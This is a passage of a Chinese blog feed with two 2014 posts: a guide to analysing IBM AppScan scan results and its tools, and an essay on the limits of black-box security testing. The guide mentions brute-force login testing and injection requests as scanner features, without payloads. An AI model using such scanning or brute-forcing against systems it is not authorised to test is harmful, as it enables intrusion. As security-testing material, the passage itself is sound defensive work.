0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　Advisory(咨询)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在此选项卡，你可以找到问题的技术说明，受影响的产品，以及参考链接。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　Fix Recommendation(修复建议)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本节中会提到解决一个特定问题所需要的步骤.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">Request/Response(请求/响应)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　此标签显示发送给应用程序测试相关反应的具体请求的细节.在一个单一的测试过程中，根据安全问题的严重性会不止发送一个请求.例如，检查SQL盲注漏洞，首先AppScan中发送一个正常的请求，并记录响应。然后发送一个SQL注入参数，然后再记录响应.同时发送另外一个请求，来判断条件,根据回显的不同，判断是否存在脆弱性漏洞。在此选项卡，有以下一些标签.如图：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=48439" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119183WLiJ.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Show in Browser(在浏览器显示),让你在浏览器看到相关请求的反应,比如在浏览器查看跨站脚本漏洞.实际上会出现警从Appscan发出的弹窗信息.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Report False Positive(报告误报)，如果发现误报，可以通过此标签发送给Appscan团队.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Manual&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Test</strong></u></a>(手动测试),单击此项之后会打开一个新的窗口，允许您修改请求并发送来观察响应.这个功能类似Burp Suite中的"repeate"选项.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Delete Variant(变量删除)，从结果中删除选中的变量.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Set as Non-vulnerable(非脆弱性设置),选取的变量将被视为非脆弱性.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Set as Error Page(设置为错误页面), 有时应用程序返回一个定制的错误页面,通过此选项可以设置错误页面，避免Appscan因为扫描响应为200而误报.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Understanding the Toolbar(了解工具栏)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=48440" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119184gYqS.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;"><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">Scan按钮,开始扫描探测，继续扫描探测.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Manual Explore(手动扫描)按钮可以用于如果只想扫描特定的URL或者网站的一部分,可以记录输入链接，然后点击"Continue with Full Scan(继续全面扫描)",Appscan就只会扫描手动扫描设置下的链接.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Scan Configuration(扫描配置) 按钮会打开配置向导.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　通过点击report按钮，可以生成一份详细的扫描分析报告.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Scan Log(扫描日志)记录AppScan中进行的扫描的每一个动作。因此，使用此功能，您可以跟踪所有的活动。例如，扫描运行时，你可以查看此时AppScan中正在寻找什么。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　Analyze JavaScript(分析Javascript)按钮执行的JavaScript分析，发现广泛的客户端的问题，如基于DOM的跨站脚本.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=48441" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119185NYMD.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　可以在View Application Data下查看其他各种结果。比如访问的网址，断开的链接，JavaScript,Cookies等.</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=48445" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181125091BsVA.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　以上是对Appscan中的工具功能进行简单的了解,继续进行结果分析,可能需要先解决高的严重性的漏洞或者安全问题.首先选择一个脆弱的网址或参数的分析，如下图所示:</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px; text-align: center;"><a href="http://www.51testing.com/batch.download.php?aid=48442" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119186VvMS.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　在 分析( analysis)选项卡下会自动获得相关的强调细节,首先需要判断是否是一个脆弱性漏洞，或者是一个误报.这个判断完全取决与你的技术水平，如果确定是误报，可以右键进行删除.如果是正确的判断,可以继续分析下一个扫描结果,全部分析完成可以生成一个分析报告.</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　<strong style="word-break: break-all; line-height: normal !important;">　下面的一些提示将有对分析有所帮助:</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　<strong style="word-break: break-all; line-height: normal !important;">Tips for Analysing(分析注意事项)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　1.分析扫描结果的同时，如果发现不是你的应用程序有关的问题，可以点击右上角的Vulnerability--&gt;State--&gt;Noise.这个扫描将会完全从列表中删除此扫描结果.如果想显示,可以在View--&gt;Show issues Marker as Noise(显示标记为杂讯的问题),将会显示带有删除线的灰色文本中的问题.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　2.如果开发团队针对一个特定的漏洞进行了修复,不必要再次扫描整个应用程序,来进行重新测试该问题.只需要点击URL,选择"Retest the Issues Found",如果有发现新的问题，会自动添加到扫描结果中.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　3.CVSS设置可以调整特定漏洞的严重性,想改变漏洞严重性，右键单击一个漏洞,Severity--&gt;CVSS settings.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　4.工具菜单中的"Manual Test(手动测试)"选项可以帮助进行手动发送攻击请求,而且可以保存当前扫描下的结果，编辑请求,发送后，点击"Save"保存当前的扫描测试.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　5.Appscan扫描过程中会有很多测试，扫描结果中只显示发现的漏洞的测试,如果需要显示所有的测试(包括非脆弱的结果),需要选择Scan Configuration(扫描配置)--&gt;Test 下的"Save Non-vulnerable Test Variant Information"选项.完成扫描之后可以在View--&gt;Non-vulnerable Variants下查看到.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　6.如果想扫描一个特定的URL或一个应用程序的特定部分,可以先针对整个应用程序进行探测而不进行测试.选择扫描配置向导下的"Start with Automatic Explore Only"选项.然后输入要扫描的网址,进行扫描.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　7.当需要扫描一个正在使用的网站,有可能会导致服务瘫痪,需要确保开发团队有意识到这个后果.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　8.Test Malware(恶意软件测试):这个会分析网站中的恶意的链接.可以选择Scan--&gt;Test For Malware，如果有任何发现，也会被添加扫扫描结果中.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　<strong style="word-break: break-all; line-height: normal !important;">Generating Reports(生成报告)</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　在分析结束之后可以针对所有确定的结果进行生成报告.其中包括为了解决改问题需要遵循的补救措施的报告.报告是可以根据需求进行定制的,例如可以为不同的开发团队设置不同的模板.比如针对公司标志，封面页，报告标题等进行不同的定制。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=48443" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119187cIP1.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　在上图中，可以看到所有可选的参数.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　Tools(工具)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　本节介绍Tools中的Power Tools，该工具是为了更好的对结果进行分析.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　Authentication Tester(认证测试)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　帮助执行针对应用程序用户名和密码进行暴力猜解，结果取决于密码策略字典强大与否.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　Connection Test(连接测试)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　可以用来ping一个网站,仅此而已.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333;"><a href="http://www.51testing.com/batch.download.php?aid=48444" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/09/14982672_201409181119188ER9A.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　Encode/Decode(编码/解码)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　分析扫描结果的同时，可能会遇到许多的地方需要进行编码和解码.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　HTTP Request Editor(Http请求编辑器)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　可以修改请求的值来测试应用程序针对请求返回的不同响应.</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; text-align: left;">　　这篇文章是Rational Appscan使用中的一部分内容,重要的是牢记,工具值提供结(在某些情况下甚至都可能不提供你所有的结果),从安全分析师的观点，提升个人技术技能才是最重要的，从而可以判断发现的是否是误报还是真正存在漏洞.</div></a></div><img src ="http://www.blogjava.net/qileilove/aggbug/418078.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-09-19 09:56 <a href="http://www.blogjava.net/qileilove/archive/2014/09/19/418078.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>应用安全测试：双面的黑盒</title><link>http://www.blogjava.net/qileilove/archive/2014/09/19/418076.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Fri, 19 Sep 2014 01:54:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/09/19/418076.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/418076.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/09/19/418076.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/418076.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/418076.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　软件安全的最大风险是检验工具及过程不透明的本质，以及不同的检验技术（例如自动化动态<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>）不能覆盖假阴性错误的潜在可能性。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　尽管安全<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">软件开发</strong></u></a>生命周期(SDLC)有很多相关的最佳实践，但大多数组织依然有一种倾向，那就是主要依赖测试去构建安全的软件。当前的测试方法有一个最严重的副作用，即组织不太清楚哪些已经被其解决方案测试过，而（甚至更重要的是）还有哪些未被测试过。我们的研究表明，任何单一的自动化保证机制最多可以检验44%的安全需求。NIST 静态分析工具博览会发现，Tomcat中有26个已知的漏洞，但所有静态分析工具综合起来只报告了其中4个警告。因为依赖不透明的检验过程是一种普遍存在的习惯，甚至已经成为行业标准，因此许多组织在构建安全的软件时，满足于把测试作为最主要的手段。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　举个例子，假设你雇用一家咨询公司为你的软件执行渗透测试。许多人将这种测试称为&#8220;黑盒&#8221;（基于同名的质保技术），测试人员没有详细的系统内部构件知识（比如系统代码）。执行测试之后，一成不变地生成一份报告，概括你应用中的几类漏洞。你修复了漏洞，然后提交应用做回归测试，下一份报告反馈说&#8220;已清除&#8221;&#8212;&#8212;也就是说没有任何漏洞了。或者充其量仅仅告知你，你的应用在同一时间范围内不会被同样的测试人员以同样的方式攻破。但另一方面，它不会告诉你：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你的应用中还有哪些潜在的威胁？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你的应用中哪些威胁&#8220;其实不易受到攻击&#8221;？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你的应用中有哪些威胁未被测试人员评估？从运行期的角度来看，哪些威胁无法测试？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　测试的时间及其他约束如何影响了结果的可靠性？例如，如果测试人员还有5天时间，他们还将执行哪些其他的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　测试人员的技能水平有多高？你能否从不同的测试人员或者另一家咨询公司手中取得一组相同的结果？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　以我们的经验来看，组织无法回答以上大多数问题。黑盒是两面的：一方面，测试人员不清楚应用的内部结构；而另一方面，申请测试的组织对自己软件的安全状况也缺乏了解。并不只是我们意识到了这个问题：Haroon Meer在44con上讨论了渗透测试的挑战。这些问题大多数都适用于任何形式的验证：自动化动态测试、自动化静态测试、手工渗透测试以及手工代码审查。实际上， 近期有一篇论文介绍了源代码审查中类似的挑战。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">关于需求的实例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　为了更好地说明这个问题，让我们看一些常见的高风险软件的安全需求，以及如何将常见的验证方法应用到这些需求上。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　需求：使用安全的哈希算法（如SHA-2）和唯一的混淆值（salt value）去哈希（Hash）用户密码。多次迭代该算法。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在过去的一年里，LinkedIn、Last FM和Twitter发生了众所周知的密码泄露事件，对于此类缺陷，本条需求是具体地、合乎时宜的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　如何应用常见的验证方法：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　自动化运行期测试：不可能访问已存的密码，因此无法使用此方法验证本需求</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　手工运行期测试：只有另一些开发导致已存密码转储时，才能使用此方法验证本需求。这并不是你所能控制的，因此你不能依靠运行期测试去验证本需求。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　自动化静态分析：只有满足以下条件时，才可以用此方法验证本需求：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　工具清楚身份认证是如何<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>的（例如，使用了标准的组件，就像Java Realms)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　工具清楚应用程序使用了哪个特定的哈希算法</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如果应用程序为每次哈希使用了唯一的混淆值，工具要清楚混淆算法和混淆值</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　实际上，认证有很多实现方法，指望静态分析方法全面地验证本需求是不切实际的。更为实际的方案是，使用工具简单地确认认证程序，并指出必须进行安全的哈希和混淆处理。另一个方案是，你来创建自定义规则，用以鉴定算法和哈希值，确认它们是否符合你专属的策略，尽管，在我们的经验中这种实践极为罕见。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　手工代码审查：对于本需求，这是最可靠的常见验证方法。手工评估人员能够理解哪一段代码中发生了认证，验证哈希和混淆处理符合最佳实践。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　需求：在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>语句中绑定变量以预防SQL注入</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　SQL 注入是最具破坏性的应用漏洞之一。近期发现在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>&nbsp;on Rails中有一个缺陷，在其技术栈上搭建的应用系统会受到SQL注入攻击。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">如何应用常见的验证方法：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　自动化运行期测试：虽然，运行期测试通过行为分析也许能够发现存在的SQL注入，但是，却不能证明没有SQL注入。因此，自动化运行期测试不能充分地验证本需求</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　手工运行期测试：与自动化运行期测试一样具有相同的局限性</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　自动化静态分析：通常能够验证本需求，特别是当你使用标准类库访问SQL数据库时。你是否将用户输入动态地拼接为SQL语句，还是使用正确地变量绑定，工具应该都可以分辨得出来。然而，这是有风险的，在以下场景中静态分析可能会漏掉SQL注入漏洞：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>上使用存储过程，并且无法扫描数据库代码。在某些情况下，存储过程也易受到SQL注入</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你使用了一种对象关系映射(ORM)类库，但你的静态分析工具不支持这种类库。对象关系映射也易受到注入。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　你使用非标准的驱动或类库去连接数据库，并且驱动没有正确地实现常见地安全控制（比如预编译语句）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　手工代码审查：与静态分析一样，手工代码审查能够确认没有SQL注入漏洞。然而，实际上产品应用中可能有几百或成千上万条SQL语句。手工审查每一条语句不仅非常耗时，而且容易出错。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　需求：使用授权检查以确保用户无法查看其他用户的数据。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　我们每年都能听到此类 漏洞新的事例。<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">如何应用常见的验证方法：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　自动化运行期测试：通过访问两个不同用户数据的方式，使用一个用户的账号尝试访问另一个用户的数据，自动化工具能够在一定程度上完成本需求的测试。然而，这些工具不可能清楚一个用户账号的哪些数据是敏感的，也不了解把参数&#8220;data=account1&#8221;修改为&#8220;data=account2&#8221;表示违反了授权。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　手工运行期测试：通常情况下，手工运行期测试是发现这类漏洞最有效的方法，因为人可以拥有必需的领域知识以探明这类攻击的位置。然而，在有些情况下，运行期测试人员可能无法全面掌握发现这类缺陷所必需的一切信息。例如，如果附加一个类似于&#8220;admin=true&#8221;的隐藏参数，使你可以不需授权检查就能访问其他用户的数据。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　自动化静态分析：如果没有规则的定制，自动化工具通常发现不了这种类型的漏洞，因为它需要对领域的理解能力。例如，静态分析工具不清楚&#8220;data&#8221;参数表示条件信息，需要授权检查。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　手工代码审查：手工代码审查能够揭露缺失授权的实体（译者注，比如代码），这是使用运行期测试难以发现的，比如添加一个&#8220;admin=true&#8221;的参数的影响。但是，实际上采用这种方式去验证是否做了授权检查费时费力。一处授权检查可能出现在许多不同部分的代码中，所以手工审查人员可能需要从头到尾追踪数条不同的执行路径，以检测是否做了授权。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">对你的影响</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　验证的不透明的本质，意味着有效的软件安全需求的管理是必要的。对于已列出的需求，测试人员即可以明确他们已经评估一条具体的需求，也可以明确他们所用到的技术。评论家提出，渗透测试不应该遵循一张&#8220;类似于审计的检查表&#8221;，因为没有检查表可以覆盖模糊的范围和特定领域的漏洞。但是，要灵活地找到独特的问题，就不可避免地要确定已经充分理解了需求。这种情况与标准的软件质量保证（QA）非常相似：好的质保测试人员即能够验证功能需求，也能够思考盒子的边界，想办法去破坏功能。如果只是简单、盲目地测试，报告一些与功能需求无关的缺陷，就会显著降低质量保证的效用。那么为什么要接受较低标准的安全测试呢？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　在你执行下一次安全验证活动之前，确保你有软件安全需求可用于衡量，并且你要明确属于验证范围内的需求。如果你雇佣手工渗透测试人员或源代码审查人员，他们就可以相对轻松地确定哪些需求是由他们来测试的。如果你使用某种自动化工具或服务，合作的供应商会表明，哪些需求无法用他们的工具或服务可靠地测试。你的测试人员、产品或服务不可能保证完全没有假阴性错误（例如，保证你的应用中不会受到SQL注入攻击），但同时也要理解，对它们做测试能够大大有助于增加你的自信心，有信心你的系统代码中不包含已知的、可预防的安全漏洞。</div></div><img src ="http://www.blogjava.net/qileilove/aggbug/418076.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-09-19 09:54 <a href="http://www.blogjava.net/qileilove/archive/2014/09/19/418076.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>对比AppScan Source和Fortify扫描AltoroJ的结果</title><link>http://www.blogjava.net/qileilove/archive/2014/09/16/417976.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Tue, 16 Sep 2014 01:50:00 